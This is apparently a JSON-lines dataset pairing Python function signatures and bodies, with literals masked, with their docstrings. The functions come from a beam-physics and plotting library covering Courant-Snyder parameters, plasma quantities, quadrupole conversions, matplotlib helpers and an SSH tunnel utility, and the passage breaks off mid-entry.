{"signature": "def set_Courant_Snyder(self, beta, alpha, emit=None, emit_n=None):", "body": "self._store_emit(emit=emit, emit_n=emit_n)<EOL>self._sx   = _np.sqrt(beta*self.emit)<EOL>self._sxp  = _np.sqrt((<NUM_LIT:1>+alpha**<NUM_LIT:2>)/beta*self.emit)<EOL>self._sxxp = -alpha*self.emit<EOL>", "docstring": "Sets the beam moments indirectly using Courant-Snyder parameters.\n\nParameters\n----------\nbeta : float\n    Courant-Snyder parameter :math:`\\\\beta`.\nalpha : float\n    Courant-Snyder parameter :math:`\\\\alpha`.\nemit : float\n    Beam emittance :math:`\\\\epsilon`.\nemit_n : float\n    Normalized beam emittance :math:`\\\\gamma \\\\epsilon`.", "id": "f12078:c2:m5"}
{"signature": "@property<EOL><INDENT>def beta(self):<DEDENT>", "body": "beta = _np.sqrt(self.sx)/self.emit<EOL>return beta<EOL>", "docstring": "Courant-Snyder parameter :math:`\\\\beta`.", "id": "f12078:c2:m6"}
{"signature": "@property<EOL><INDENT>def alpha(self):<DEDENT>", "body": "alpha = -self.sxxp/self.emit<EOL>return alpha<EOL>", "docstring": "Courant-Snyder parameter :math:`\\\\alpha`.", "id": "f12078:c2:m7"}
{"signature": "def lambda_large(self, y0):", "body": "return <NUM_LIT:4>*_np.sqrt(<NUM_LIT:2>*y0/self.k)<EOL>", "docstring": "The wavelength for large (:math:`r_0 < \\\\sigma_r`) oscillations.", "id": "f12079:c0:m1"}
{"signature": "@property<EOL><INDENT>def sig_x(self):<DEDENT>", "body": "return self._sig_x<EOL>", "docstring": "The R.M.S. width :math:`\\\\sigma_x`.", "id": "f12079:c0:m3"}
{"signature": "@property<EOL><INDENT>def sig_y(self):<DEDENT>", "body": "return self._sig_y<EOL>", "docstring": "The R.M.S. width :math:`\\\\sigma_y`.", "id": "f12079:c0:m4"}
{"signature": "@property<EOL><INDENT>def nb0(self):<DEDENT>", "body": "return self.N_e / (<NUM_LIT:4>*_np.sqrt(<NUM_LIT:3>) * _np.pi * self.sig_x * self.sig_y * self.sig_xi)<EOL>", "docstring": "On-axis beam density :math:`n_{b,0}`.", "id": "f12079:c0:m5"}
{"signature": "@property<EOL><INDENT>def k(self):<DEDENT>", "body": "try:<EOL><INDENT>return self._k<EOL><DEDENT>except AttributeError:<EOL><INDENT>self._k = _np.sqrt(_np.pi/<NUM_LIT:8>) * e**<NUM_LIT:2> * self.nb0 * self.sig_y / ( e0 * self.m * c**<NUM_LIT:2>)<EOL>return self._k<EOL><DEDENT>", "docstring": "Driving force term: :math:`r'' = -k \\\\left( \\\\frac{1-e^{-r^2/2{\\\\sigma_r}^2}}{r} \\\\right)`", "id": "f12079:c0:m6"}
{"signature": "@property<EOL><INDENT>def k_small(self):<DEDENT>", "body": "return self.k * _np.sqrt(<NUM_LIT:2>/_np.pi) / self.sig_y<EOL>", "docstring": "Small-angle driving force term: :math:`r'' = -k_{small} r`.\n\nNote: :math:`k_{small} = \\\\frac{k}{2{\\\\sigma_r^2}}`", "id": "f12079:c0:m7"}
{"signature": "@property<EOL><INDENT>def species(self):<DEDENT>", "body": "return self._species<EOL>", "docstring": "Species used in plasma.", "id": "f12081:c0:m1"}
{"signature": "@property<EOL><INDENT>def m(self):<DEDENT>", "body": "return self._species.mass * _spc.m_u<EOL>", "docstring": "Mass of the ion in AMU.", "id": "f12081:c0:m2"}
{"signature": "@property<EOL><INDENT>def E_rest(self):<DEDENT>", "body": "return self.m * _spc.c**<NUM_LIT:2><EOL>", "docstring": "Rest energy of the plasma ion.", "id": "f12081:c0:m3"}
{"signature": "@property<EOL><INDENT>def n_p(self):<DEDENT>", "body": "return self._n_p<EOL>", "docstring": "Plasma density in SI units.", "id": "f12081:c0:m4"}
{"signature": "@property<EOL><INDENT>def w_p(self):<DEDENT>", "body": "return _np.sqrt(self.n_p * _np.power(_spc.e, <NUM_LIT:2>) / (_spc.m_e * _spc.epsilon_0))<EOL>", "docstring": "Plasma frequency :math:`\\\\omega_p` for given plasma density", "id": "f12081:c0:m6"}
{"signature": "def k_ion(self, E):", "body": "return self.n_p * _np.power(_spc.e, <NUM_LIT:2>) / (<NUM_LIT:2>*_sltr.GeV2joule(E) * _spc.epsilon_0)<EOL>", "docstring": "Geometric focusing force due to ion column for given plasma density as a function of *E*", "id": "f12081:c0:m7"}
{"signature": "@property<EOL><INDENT>def n_p_cgs(self):<DEDENT>", "body": "return self.n_p * <NUM_LIT><EOL>", "docstring": "Plasma density in CGS units", "id": "f12081:c0:m9"}
{"signature": "@property<EOL><INDENT>def sig_xi(self):<DEDENT>", "body": "return self._sig_xi<EOL>", "docstring": "Std. dev. of :math:`\\\\xi`: :math:`\\\\sigma_\\\\xi`.", "id": "f12082:c0:m1"}
{"signature": "@property<EOL><INDENT>def xi(self):<DEDENT>", "body": "return self._xi<EOL>", "docstring": "Particle coordinates :math:`\\\\xi`.", "id": "f12082:c0:m2"}
{"signature": "@property<EOL><INDENT>def mean(self):<DEDENT>", "body": "return self._mean<EOL>", "docstring": "Mean for x, x'.", "id": "f12082:c0:m3"}
{"signature": "@property<EOL><INDENT>def cov(self):<DEDENT>", "body": "return self._cov<EOL>", "docstring": "Covariance for x, x'.", "id": "f12082:c0:m4"}
{"signature": "@property<EOL><INDENT>def nparts(self):<DEDENT>", "body": "return self._nparts<EOL>", "docstring": "Number of particles in the beam.", "id": "f12082:c0:m5"}
{"signature": "@property<EOL><INDENT>def x(self):<DEDENT>", "body": "return self._x<EOL>", "docstring": "Particle coordinates :math:`x`.", "id": "f12082:c0:m6"}
{"signature": "@property<EOL><INDENT>def xp(self):<DEDENT>", "body": "return self._xp<EOL>", "docstring": "Particle coordinates :math:`x'`.", "id": "f12082:c0:m7"}
{"signature": "@property<EOL><INDENT>def delta(self):<DEDENT>", "body": "return self._delta<EOL>", "docstring": "Particle coordinates :math:`\\\\delta`.", "id": "f12082:c0:m8"}
{"signature": "@property<EOL><INDENT>def emit(self):<DEDENT>", "body": "return self._emit<EOL>", "docstring": "Beam emittance :math:`\\\\epsilon`.", "id": "f12082:c0:m9"}
{"signature": "@property<EOL><INDENT>def E(self):<DEDENT>", "body": "return self._E<EOL>", "docstring": "Beam energy in GeV.", "id": "f12082:c0:m10"}
{"signature": "@property<EOL><INDENT>def sig_delta(self):<DEDENT>", "body": "return self._sig_delta<EOL>", "docstring": "Beam energy spread :math:`\\\\sigma_\\\\delta`.", "id": "f12082:c0:m11"}
{"signature": "@property<EOL><INDENT>def beta(self):<DEDENT>", "body": "return self._beta<EOL>", "docstring": "Beam beta :math:`\\\\beta`.", "id": "f12082:c0:m12"}
{"signature": "@property<EOL><INDENT>def alpha(self):<DEDENT>", "body": "return self._alpha<EOL>", "docstring": "Beam alpha :math:`\\\\alpha`.", "id": "f12082:c0:m13"}
{"signature": "@property<EOL><INDENT>def step(self):<DEDENT>", "body": "return self._step<EOL>", "docstring": "The current step.", "id": "f12083:c0:m1"}
{"signature": "def githubtunnel(user1, server1, user2, server2, port, verbose, stanford=False):", "body": "if stanford:<EOL><INDENT>port_shift = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>port_shift = <NUM_LIT:0><EOL><DEDENT>command1 = '<STR_LIT>'.format(port-<NUM_LIT:1>-port_shift, server2, user1, server1)<EOL>command2 = '<STR_LIT>'.format(port-port_shift, port-port_shift-<NUM_LIT:1>, user2)<EOL>command3 = '<STR_LIT>'.format(port, port-<NUM_LIT:1>, user2)<EOL>if verbose:<EOL><INDENT>print(command1)<EOL>if stanford:<EOL><INDENT>print(command2)<EOL><DEDENT>print(command3)<EOL><DEDENT>try:<EOL><INDENT>call(shlex.split(command1))<EOL>if stanford:<EOL><INDENT>call(shlex.split(command2))<EOL><DEDENT>call(shlex.split(command3))<EOL><DEDENT>except:<EOL><INDENT>print('<STR_LIT>')<EOL>pass<EOL><DEDENT>", "docstring": "Opens a nested tunnel, first to *user1*@*server1*, then to *user2*@*server2*, for accessing on *port*.\n\nIf *verbose* is true, prints various ssh commands.\n\nIf *stanford* is true, shifts ports up by 1.\n\nAttempts to get *user1*, *user2* from environment variable ``USER_NAME`` if called from the command line.", "id": "f12085:m0"}
{"signature": "def pdf2png(file_in, file_out):", "body": "command = '<STR_LIT>'.format(file_in, file_out)<EOL>_subprocess.call(_shlex.split(command))<EOL>", "docstring": "Uses `ImageMagick <http://www.imagemagick.org/>`_ to convert an input *file_in* pdf to a *file_out* png. (Untested with other formats.)\n\nParameters\n----------\n\nfile_in : str\n    The path to the pdf file to be converted.\nfile_out : str\n    The path to the png file to be written.", "id": "f12088:m0"}
{"signature": "def BDES2K(bdes, quad_length, energy):", "body": "<EOL>bdes        = _np.float_(bdes)<EOL>quad_length = _np.float_(quad_length)<EOL>energy      = _np.float_(energy)<EOL>Brho = energy/_np.float_(<NUM_LIT>)<EOL>K = bdes/(Brho*quad_length)<EOL>logger.log(level=loggerlevel, msg='<STR_LIT>'.format(<EOL>bdes        = bdes        ,<EOL>quad_length = quad_length ,<EOL>energy      = energy      ,<EOL>K           = K<EOL>)<EOL>)<EOL>return K<EOL>", "docstring": "Converts a quadrupole :math:`B_des` into a geometric focusing strength :math:`K`.\n\nParameters\n----------\n\nbdes : float\n    The magnet value of :math:`B_des`.\nquad_length : float\n    The length of the quadrupole in meters.\nenergy : float\n    The design energy of the beam in GeV.\n\nReturns\n-------\nK : float\n    The geometric focusing strength :math:`K`.", "id": "f12090:m0"}
{"signature": "def K2BDES(K, quad_length, energy):", "body": "<EOL>K           = _np.float_(K)<EOL>quad_length = _np.float_(quad_length)<EOL>energy      = _np.float_(energy)<EOL>Brho = energy/_np.float_(<NUM_LIT>)<EOL>BDES = K*Brho*quad_length<EOL>logger.log(level=loggerlevel, msg='<STR_LIT>'.format(<EOL>bdes        = BDES        ,<EOL>quad_length = quad_length ,<EOL>energy      = energy      ,<EOL>K           = K<EOL>)<EOL>)<EOL>return BDES<EOL>", "docstring": "Returns the BDES for a quadrupole with geometric strength *K* and length *quad_length* for a beam with a given *energy*.\nConverts a geometric focusing strength :math:`K` into a quadrupole :math:`B_des`.\n\nParameters\n----------\nK : float\n    The geometric focusing strength :math:`K`.\nquad_length : float\n    The length of the quadrupole in meters.\nenergy : float\n    The design energy of the beam in GeV.\n\nReturns\n-------\nbdes : float\n    The magnet value of :math:`B_des`.", "id": "f12090:m1"}
{"signature": "def fitimageslice(img, res_x, res_y, xslice, yslice, avg_e_func=None, h5file=None, plot=False):", "body": "<EOL>x_start = xslice[<NUM_LIT:0>]<EOL>x_end   = xslice[<NUM_LIT:1>]<EOL>y_start = yslice[<NUM_LIT:0>]<EOL>y_end   = yslice[<NUM_LIT:1>]<EOL>y_low = _np.round(y_start-<NUM_LIT:0.5>) + <NUM_LIT:0.5><EOL>y_high = _np.round(y_end-<NUM_LIT:0.5>) + <NUM_LIT:0.5><EOL>y_px = linspacestep(<NUM_LIT:1>, img.shape[<NUM_LIT:0>])<EOL>y_bool = _np.logical_and(y_low < y_px, y_px < y_high)<EOL>strip = img[y_bool, x_start:x_end]<EOL>histdata = _np.sum(strip, <NUM_LIT:0>)<EOL>xbins = len(histdata)<EOL>x = _np.linspace(<NUM_LIT:1>, xbins, xbins)*res_x<EOL>varbool  = True<EOL>gaussout = _sp.GaussResults(<EOL>x,<EOL>histdata,<EOL>sigma_y    = _np.ones(xbins),<EOL>variance   = varbool,<EOL>background = True,<EOL>p0         = [<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:0>]<EOL>)<EOL>if avg_e_func is not None:<EOL><INDENT>relcounts = _np.sum(strip, <NUM_LIT:1>) / _np.float(_np.sum(strip))<EOL>Eavg = <NUM_LIT:0><EOL>for i, val in enumerate(linspacestep(y_low, y_high-<NUM_LIT:1>)):<EOL><INDENT>Eavg = Eavg + avg_e_func(val, val+<NUM_LIT:1>, h5file, res_y)*relcounts[i]<EOL><DEDENT>return Eavg, gaussout<EOL><DEDENT>else:<EOL><INDENT>return gaussout<EOL><DEDENT>", "docstring": "Fits a gaussian to a slice of an image *img* specified by *xslice* x-coordinates and *yslice* y-coordinates. *res_x* and *res_y* specify image resolution in x and y. *avg_e_func* is a function that returns the energy of the image as a function of x. It should have the form:\n\n*avg_e_func(x_1, x_2, h5file, res_y)*\n\nFits a gaussian to a slice of an image.\n\nParameters\n----------\n\nimg : array\n    Image to be fitted.\nres_x : int\n    Image resolution in :math:`x`.\nres_y : int\n    Image resolution in :math:`y`.\nxslice : (int, int)\n    Slice coordinates in :math:`x`\nyslice : (int, int)\n    Slice coordinates in :math:`y`\navg_e_func : function\n    Of the form *avg_e_func(x_1, x_2, h5file, res_y)*, returns the energy of the image as a function of :math:`x`.\nh5file : h5file\n    Instance from dataset.\nplot : boolean\n    Whether to plot or not.", "id": "f12094:m0"}
{"signature": "def colorbar(ax, im, fig=None, loc=\"<STR_LIT:right>\", size=\"<STR_LIT>\", pad=\"<STR_LIT>\"):", "body": "if fig is None:<EOL><INDENT>fig = ax.get_figure()<EOL><DEDENT>if loc == \"<STR_LIT:left>\" or loc == \"<STR_LIT:right>\":<EOL><INDENT>width = fig.get_figwidth()<EOL>new = width * (<NUM_LIT:1> + _pc2f(size) + _pc2f(pad))<EOL>_logger.debug('<STR_LIT>'.format(new))<EOL><DEDENT>elif loc == \"<STR_LIT>\" or loc == \"<STR_LIT>\":<EOL><INDENT>height = fig.get_figheight()<EOL>new = height * (<NUM_LIT:1> + _pc2f(size) + _pc2f(pad))<EOL>_logger.debug('<STR_LIT>'.format(new))<EOL><DEDENT>divider = _ag1.make_axes_locatable(ax)<EOL>cax = divider.append_axes(loc, size=size, pad=pad)<EOL>return cax, _plt.colorbar(im, cax=cax)<EOL>", "docstring": "Adds a polite colorbar that steals space so :func:`matplotlib.pyplot.tight_layout` works nicely.\n\n.. versionadded:: 1.3\n\nParameters\n----------\n\nax : :class:`matplotlib.axis.Axis`\n    The axis to plot to.\nim : :class:`matplotlib.image.AxesImage`\n    The plotted image to use for the colorbar.\nfig : :class:`matplotlib.figure.Figure`, optional\n    The figure to plot to.\nloc : str, optional\n    The location to place the axes.\nsize : str, optional\n    The size to allocate for the colorbar.\npad : str, optional\n    The amount to pad the colorbar.", "id": "f12095:m0"}
{"signature": "def pcolor_axes(array, px_to_units=px_to_units):", "body": "<EOL>x_size = array.shape[<NUM_LIT:0>]+<NUM_LIT:1><EOL>y_size = array.shape[<NUM_LIT:1>]+<NUM_LIT:1><EOL>x = _np.empty((x_size, y_size))<EOL>y = _np.empty((x_size, y_size))<EOL>for i in range(x_size):<EOL><INDENT>for j in range(y_size):<EOL><INDENT>x[i, j], y[i, j] = px_to_units(i-<NUM_LIT:0.5>, j-<NUM_LIT:0.5>)<EOL><DEDENT><DEDENT>return x, y<EOL>", "docstring": "Return axes :code:`x, y` for *array* to be used with :func:`matplotlib.pyplot.color`.\n\n*px_to_units* is a function to convert pixels to units. By default, returns pixels.", "id": "f12096:m1"}
{"signature": "def hist(x, bins=<NUM_LIT:10>, labels=None, aspect=\"<STR_LIT>\", plot=True, ax=None, range=None):", "body": "h, edge = _np.histogram(x, bins=bins, range=range)<EOL>mids = edge + (edge[<NUM_LIT:1>]-edge[<NUM_LIT:0>])/<NUM_LIT:2><EOL>mids = mids[:-<NUM_LIT:1>]<EOL>if plot:<EOL><INDENT>if ax is None:<EOL><INDENT>_plt.hist(x, bins=bins, range=range)<EOL><DEDENT>else:<EOL><INDENT>ax.hist(x, bins=bins, range=range)<EOL><DEDENT>if labels is not None:<EOL><INDENT>_addlabel(labels[<NUM_LIT:0>], labels[<NUM_LIT:1>], labels[<NUM_LIT:2>])<EOL><DEDENT><DEDENT>return h, mids<EOL>", "docstring": "Creates a histogram of data *x* with a *bins*, *labels* = :code:`[title, xlabel, ylabel]`.", "id": "f12098:m0"}
{"signature": "def plot(*args, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>fig, ax = _setup_axes()<EOL><DEDENT>pl = ax.plot(*args, **kwargs)<EOL>if _np.shape(args)[<NUM_LIT:0>] > <NUM_LIT:1>:<EOL><INDENT>if type(args[<NUM_LIT:1>]) is not str:<EOL><INDENT>min_x = min(args[<NUM_LIT:0>])<EOL>max_x = max(args[<NUM_LIT:0>])<EOL>ax.set_xlim((min_x, max_x))<EOL><DEDENT><DEDENT>return pl<EOL>", "docstring": "Plots but automatically resizes x axis.\n\n.. versionadded:: 1.4\n\nParameters\n----------\nargs\n    Passed on to :meth:`matplotlib.axis.Axis.plot`.\nax : :class:`matplotlib.axis.Axis`, optional\n    The axis to plot to.\nkwargs\n    Passed on to :meth:`matplotlib.axis.Axis.plot`.", "id": "f12101:m0"}
{"signature": "def set_cmap(self, cmap):", "body": "self.AxesImage.set_cmap(cmap)<EOL>", "docstring": "Sets color map to *cmap*.", "id": "f12102:c0:m2"}
{"signature": "@property<EOL><INDENT>def AxesImage(self):<DEDENT>", "body": "return self._AxesImage<EOL>", "docstring": "The :class:`matplotlib.image.AxesImage` from :meth:`matplotlib.axes.Axes.imshow`.", "id": "f12102:c0:m3"}
{"signature": "@property<EOL><INDENT>def ax(self):<DEDENT>", "body": "return self._ax_img<EOL>", "docstring": "The :class:`matplotlib.axes.Axes` used for :meth:`matplotlib.axes.Axes.imshow`.", "id": "f12102:c0:m4"}
{"signature": "@property<EOL><INDENT>def imgmax(self):<DEDENT>", "body": "return _np.max(self.image)<EOL>", "docstring": "Highest value of input image.", "id": "f12102:c0:m5"}
{"signature": "@property<EOL><INDENT>def imgmin(self):<DEDENT>", "body": "return _np.min(self.image)<EOL>", "docstring": "Lowest value of input image.", "id": "f12102:c0:m6"}
{"signature": "@property<EOL><INDENT>def clim_min(self):<DEDENT>", "body": "return self.minslider.val<EOL>", "docstring": "Slider value for minimum", "id": "f12102:c0:m8"}
{"signature": "@property<EOL><INDENT>def clim_max(self):<DEDENT>", "body": "return self.maxslider.val<EOL>", "docstring": "Slider value for maximum", "id": "f12102:c0:m10"}
{"signature": "@property<EOL><INDENT>def image(self):<DEDENT>", "body": "return self._image<EOL>", "docstring": "The image loaded.", "id": "f12102:c0:m12"}
{"signature": "def tile():", "body": "figs = plt.get_fignums()<EOL>x       = <NUM_LIT:0><EOL>y       = <NUM_LIT:0><EOL>toppad  = <NUM_LIT><EOL>size = np.array([<NUM_LIT:0>, <NUM_LIT:0>])<EOL>if ( len(figs) != <NUM_LIT:0> ):<EOL><INDENT>fig     = plt.figure(figs[<NUM_LIT:0>])<EOL>screen  = fig.canvas.window.get_screen()<EOL>screenx = screen.get_monitor_geometry(screen.get_primary_monitor())<EOL>screenx = screenx[<NUM_LIT:2>]<EOL>fig = plt.figure(figs[<NUM_LIT:0>])<EOL>fig.canvas.manager.window.move(x, y)<EOL>maxy = np.array(fig.canvas.manager.window.get_position())[<NUM_LIT:1>]<EOL>size = np.array(fig.canvas.manager.window.get_size())<EOL>y    = maxy<EOL>x += size[<NUM_LIT:0>]+<NUM_LIT:1><EOL>for fig in figs[<NUM_LIT:1>:]:<EOL><INDENT>fig  = plt.figure(fig)<EOL>size = np.array(fig.canvas.manager.window.get_size())<EOL>if ( x+size[<NUM_LIT:0>] > screenx ):<EOL><INDENT>x    = <NUM_LIT:0><EOL>y    = maxy<EOL>maxy = y+size[<NUM_LIT:1>]+toppad<EOL><DEDENT>else:<EOL><INDENT>maxy = max(maxy, y+size[<NUM_LIT:1>]+toppad)<EOL><DEDENT>fig.canvas.manager.window.move(x, y)<EOL>x += size[<NUM_LIT:0>] + <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Tiles open figures.", "id": "f12103:m0"}
{"signature": "def set_cmap(self, cmap):", "body": "self.AxesImage.set_cmap(cmap)<EOL>", "docstring": "Sets color map to *cmap*.", "id": "f12104:c0:m5"}
{"signature": "@property<EOL><INDENT>def num_imgs(self):<DEDENT>", "body": "return self._num_imgs<EOL>", "docstring": "The number of images.", "id": "f12104:c0:m6"}
{"signature": "@property<EOL><INDENT>def AxesImage(self):<DEDENT>", "body": "return self._AxesImage<EOL>", "docstring": "The :class:`matplotlib.image.AxesImage` from :meth:`matplotlib.axes.Axes.imshow`.", "id": "f12104:c0:m7"}
{"signature": "@property<EOL><INDENT>def ax(self):<DEDENT>", "body": "return self._ax_img<EOL>", "docstring": "The :class:`matplotlib.axes.Axes` used for :meth:`matplotlib.axes.Axes.imshow`.", "id": "f12104:c0:m8"}
{"signature": "@property<EOL><INDENT>def imgmax(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>imgmax = _np.max(self.images[<NUM_LIT:0>])<EOL>for img in self.images:<EOL><INDENT>imax = _np.max(img)<EOL>if imax > imgmax:<EOL><INDENT>imgmax = imax<EOL><DEDENT><DEDENT>self._imgmax = imgmax<EOL><DEDENT>return self._imgmax<EOL>", "docstring": "Highest value of input image.", "id": "f12104:c0:m9"}
{"signature": "@property<EOL><INDENT>def imgmin(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>imgmin = _np.min(self.images[<NUM_LIT:0>])<EOL>for img in self.images:<EOL><INDENT>imin = _np.min(img)<EOL>if imin > imgmin:<EOL><INDENT>imgmin = imin<EOL><DEDENT><DEDENT>self._imgmin = imgmin<EOL><DEDENT>return _np.min(self.image)<EOL>", "docstring": "Lowest value of input image.", "id": "f12104:c0:m10"}
{"signature": "@property<EOL><INDENT>def clim_min(self):<DEDENT>", "body": "return self.minslider.val<EOL>", "docstring": "Slider value for minimum", "id": "f12104:c0:m12"}
{"signature": "@property<EOL><INDENT>def clim_max(self):<DEDENT>", "body": "return self.maxslider.val<EOL>", "docstring": "Slider value for maximum", "id": "f12104:c0:m14"}
{"signature": "@property<EOL><INDENT>def images(self):<DEDENT>", "body": "return self._images<EOL>", "docstring": "The array of images.", "id": "f12104:c0:m16"}
{"signature": "@property<EOL><INDENT>def image(self):<DEDENT>", "body": "return self._images[self._image_ind]<EOL>", "docstring": "The image loaded.", "id": "f12104:c0:m17"}
{"signature": "def rgb2gray(image):", "body": "return _np.dot(image, [<NUM_LIT>, <NUM_LIT>, <NUM_LIT>])<EOL>", "docstring": "Convert an rgb image to grayscale.", "id": "f12105:m0"}
{"signature": "def NonUniformImage(x, y, z, ax=None, fig=None, cmap=None, alpha=None, scalex=True, scaley=True, add_cbar=True, **kwargs):", "body": "if ax is None and fig is None:<EOL><INDENT>fig, ax = _setup_axes()<EOL><DEDENT>elif ax is None:<EOL><INDENT>ax = fig.gca()<EOL><DEDENT>elif fig is None:<EOL><INDENT>fig = ax.get_figure()<EOL><DEDENT>norm = kwargs.get('<STR_LIT>', None)<EOL>im = _mplim.NonUniformImage(ax, **kwargs)<EOL>vmin = kwargs.pop('<STR_LIT>', _np.min(z))<EOL>vmax = kwargs.pop('<STR_LIT>', _np.max(z))<EOL>if cmap is not None:<EOL><INDENT>im.set_cmap(cmap)<EOL><DEDENT>m = _cm.ScalarMappable(cmap=im.get_cmap(), norm=norm)<EOL>m.set_array(z)<EOL>if add_cbar:<EOL><INDENT>cax, cb = _cb(ax=ax, im=m, fig=fig)<EOL><DEDENT>if alpha is not None:<EOL><INDENT>im.set_alpha(alpha)<EOL><DEDENT>im.set_data(x, y, z)<EOL>ax.images.append(im)<EOL>if scalex:<EOL><INDENT>xmin = min(x)<EOL>xmax = max(x)<EOL>ax.set_xlim(xmin, xmax)<EOL><DEDENT>if scaley:<EOL><INDENT>ymin = min(y)<EOL>ymax = max(y)<EOL>ax.set_ylim(ymin, ymax)<EOL><DEDENT>return _SI(im=im, cb=cb, cax=cax)<EOL>", "docstring": "Used to plot a set of coordinates.\n\n\nParameters\n----------\nx, y : :class:`numpy.ndarray`\n    1-D ndarrays of lengths N and M, respectively, specifying pixel centers\nz : :class:`numpy.ndarray`\n    An (M, N) ndarray or masked array of values to be colormapped, or a (M, N, 3) RGB array, or a (M, N, 4) RGBA array.\nax : :class:`matplotlib.axes.Axes`, optional\n    The axis to plot to.\nfig : :class:`matplotlib.figure.Figure`, optional\n    The figure to plot to.\ncmap : :class:`matplotlib.colors.Colormap`, optional\n    The colormap to use.\nalpha : float, optional\n    The transparency to use.\nscalex : bool, optional\n    To set the x limits to available data\nscaley : bool, optional\n    To set the y limits to available data\nadd_cbar : bool, optional\n    Whether ot add a colorbar or not.\n\nReturns\n-------\nimg : :class:`matplotlib.image.NonUniformImage`\n    Object representing the :class:`matplotlib.image.NonUniformImage`.", "id": "f12107:m0"}
{"signature": "def showfig(fig, aspect=\"<STR_LIT>\"):", "body": "ax = fig.gca()<EOL>alim = list(ax.axis())<EOL>if alim[<NUM_LIT:3>] < alim[<NUM_LIT:2>]:<EOL><INDENT>temp    = alim[<NUM_LIT:2>]<EOL>alim[<NUM_LIT:2>] = alim[<NUM_LIT:3>]<EOL>alim[<NUM_LIT:3>] = temp<EOL>ax.axis(alim)<EOL><DEDENT>ax.set_aspect(aspect)<EOL>fig.show()<EOL>", "docstring": "Shows a figure with a typical orientation so that x and y axes are set up as expected.", "id": "f12109:m0"}
{"signature": "def setup_figure(rows=<NUM_LIT:1>, cols=<NUM_LIT:1>, **kwargs):", "body": "fig = _plt.figure(**kwargs)<EOL>gs = _gridspec.GridSpec(rows, cols)<EOL>return fig, gs<EOL>", "docstring": "Sets up a figure with a number of rows (*rows*) and columns (*cols*), *\\*\\*kwargs* passes through to :class:`matplotlib.figure.Figure`.\n\n.. versionchanged:: 1.3\n   Supports *\\*\\*kwargs* pass-through to :class:`matplotlib.figure.Figure`.\n\n.. versionchanged:: 1.2\n   Changed *gridspec_x* to *rows*, *gridspec_y* to *cols*, added *figsize* control.\n\nParameters\n----------\n\nrows : int\n    Number of rows to create.\ncols : int\n    Number of columns to create.\n\nReturns\n-------\n\nfig : :class:`matplotlib.figure.Figure`\n    The figure.\ngs : :class:`matplotlib.gridspec.GridSpec`\n    Instance with *gridspec_x* rows and *gridspec_y* columns", "id": "f12110:m0"}
{"signature": "def imshow(X, ax=None, add_cbar=True, rescale_fig=True, **kwargs):", "body": "return _plot_array(X, plottype=_IMSHOW, ax=ax, add_cbar=add_cbar, rescale_fig=rescale_fig, **kwargs)<EOL>", "docstring": "Plots an array *X* such that the first coordinate is the *x* coordinate and the second coordinate is the *y* coordinate, with the origin at the bottom left corner.\n\nOptional argument *ax* allows an existing axes to be used.\n\n*\\*\\*kwargs* are passed on to :meth:`matplotlib.axes.Axes.imshow`.\n\n.. versionadded:: 1.3\n\nReturns\n-------\nfig, ax, im :\n    if axes aren't specified.\nim :\n    if axes are specified.", "id": "f12111:m0"}
{"signature": "def contour(X, ax=None, add_cbar=True, rescale_fig=True, **kwargs):", "body": "return _plot_array(X, plottype=_CONTOUR, ax=ax, add_cbar=add_cbar, rescale_fig=rescale_fig, **kwargs)<EOL>", "docstring": "Plots an array *X* such that the first coordinate is the *x* coordinate and the second coordinate is the *y* coordinate, with the origin at the bottom left corner.\n\nOptional argument *ax* allows an existing axes to be used.\n\n*\\*\\*kwargs* are passed on to :meth:`matplotlib.axes.Axes.contour`.\n\n.. versionadded:: 1.3\n\nReturns\n-------\nim : :class:`matplotlib.image.AxesImage`.", "id": "f12111:m1"}
{"signature": "def quiver(*args, ax=None, rescale_fig=True, **kwargs):", "body": "return _plot_array(*args, plottype=_QUIVER, ax=ax, add_cbar=False, rescale_fig=rescale_fig, **kwargs)<EOL>", "docstring": "Plots an array *X* such that the first coordinate is the *x* coordinate and the second coordinate is the *y* coordinate, with the origin at the bottom left corner.\n\nOptional argument *ax* allows an existing axes to be used.\n\n*\\*\\*kwargs* are passed on to :meth:`matplotlib.axes.Axes.quiver`.\n\n.. versionadded:: 1.3\n\nReturns\n-------\nim : :class:`matplotlib.image.AxesImage`.", "id": "f12111:m2"}
{"signature": "def scaled_figsize(X, figsize=None, h_pad=None, v_pad=None):", "body": "if figsize is None:<EOL><INDENT>figsize = _mpl.rcParams['<STR_LIT>']<EOL><DEDENT>width, height = _np.shape(X)<EOL>ratio = width / height<EOL>if ratio > figsize[<NUM_LIT:0>]/figsize[<NUM_LIT:1>]:<EOL><INDENT>figsize[<NUM_LIT:1>] = figsize[<NUM_LIT:0>] / ratio<EOL><DEDENT>else:<EOL><INDENT>figsize[<NUM_LIT:0>] = figsize[<NUM_LIT:1>] * ratio<EOL><DEDENT>return figsize<EOL>", "docstring": "Given an array *X*, determine a good size for the figure to be by shrinking it to fit within *figsize*. If not specified, shrinks to fit the figsize specified by the current :attr:`matplotlib.rcParams`.\n\n.. versionadded:: 1.3", "id": "f12111:m4"}
{"signature": "def imshow_batch(images, cbar=True, show=True, pdf=None, figsize=(<NUM_LIT:16>, <NUM_LIT:12>), rows=<NUM_LIT:2>, columns=<NUM_LIT:2>, cmap=None, **kwargs):", "body": "<EOL>images = _np.array(images)<EOL>gs = _gridspec.GridSpec(rows, columns)<EOL>num_imgs = images.shape[<NUM_LIT:0>]<EOL>max_ind = num_imgs-<NUM_LIT:1><EOL>per_page = rows*columns<EOL>num_pages = _np.int(_np.ceil(num_imgs/per_page))<EOL>fig_array = _np.empty(shape=num_pages, dtype=object)<EOL>if num_pages > <NUM_LIT:1>:<EOL><INDENT>logger.info('<STR_LIT>')<EOL><DEDENT>if pdf is not None:<EOL><INDENT>f = _PdfPages(pdf)<EOL><DEDENT>for p in range(num_pages):<EOL><INDENT>fig_array[p] = _plt.figure(figsize=figsize)<EOL>pg_max_ind = _np.min( [(p+<NUM_LIT:1>) * per_page - <NUM_LIT:1>, max_ind] )<EOL>num_rows = _np.int(_np.ceil((pg_max_ind+<NUM_LIT:1> - p * per_page) / columns))<EOL>for i in range(num_rows):<EOL><INDENT>i_min_ind = p * per_page + i * columns<EOL>col_max_ind = _np.min([i_min_ind + columns - <NUM_LIT:1>, max_ind])<EOL>for j, image in 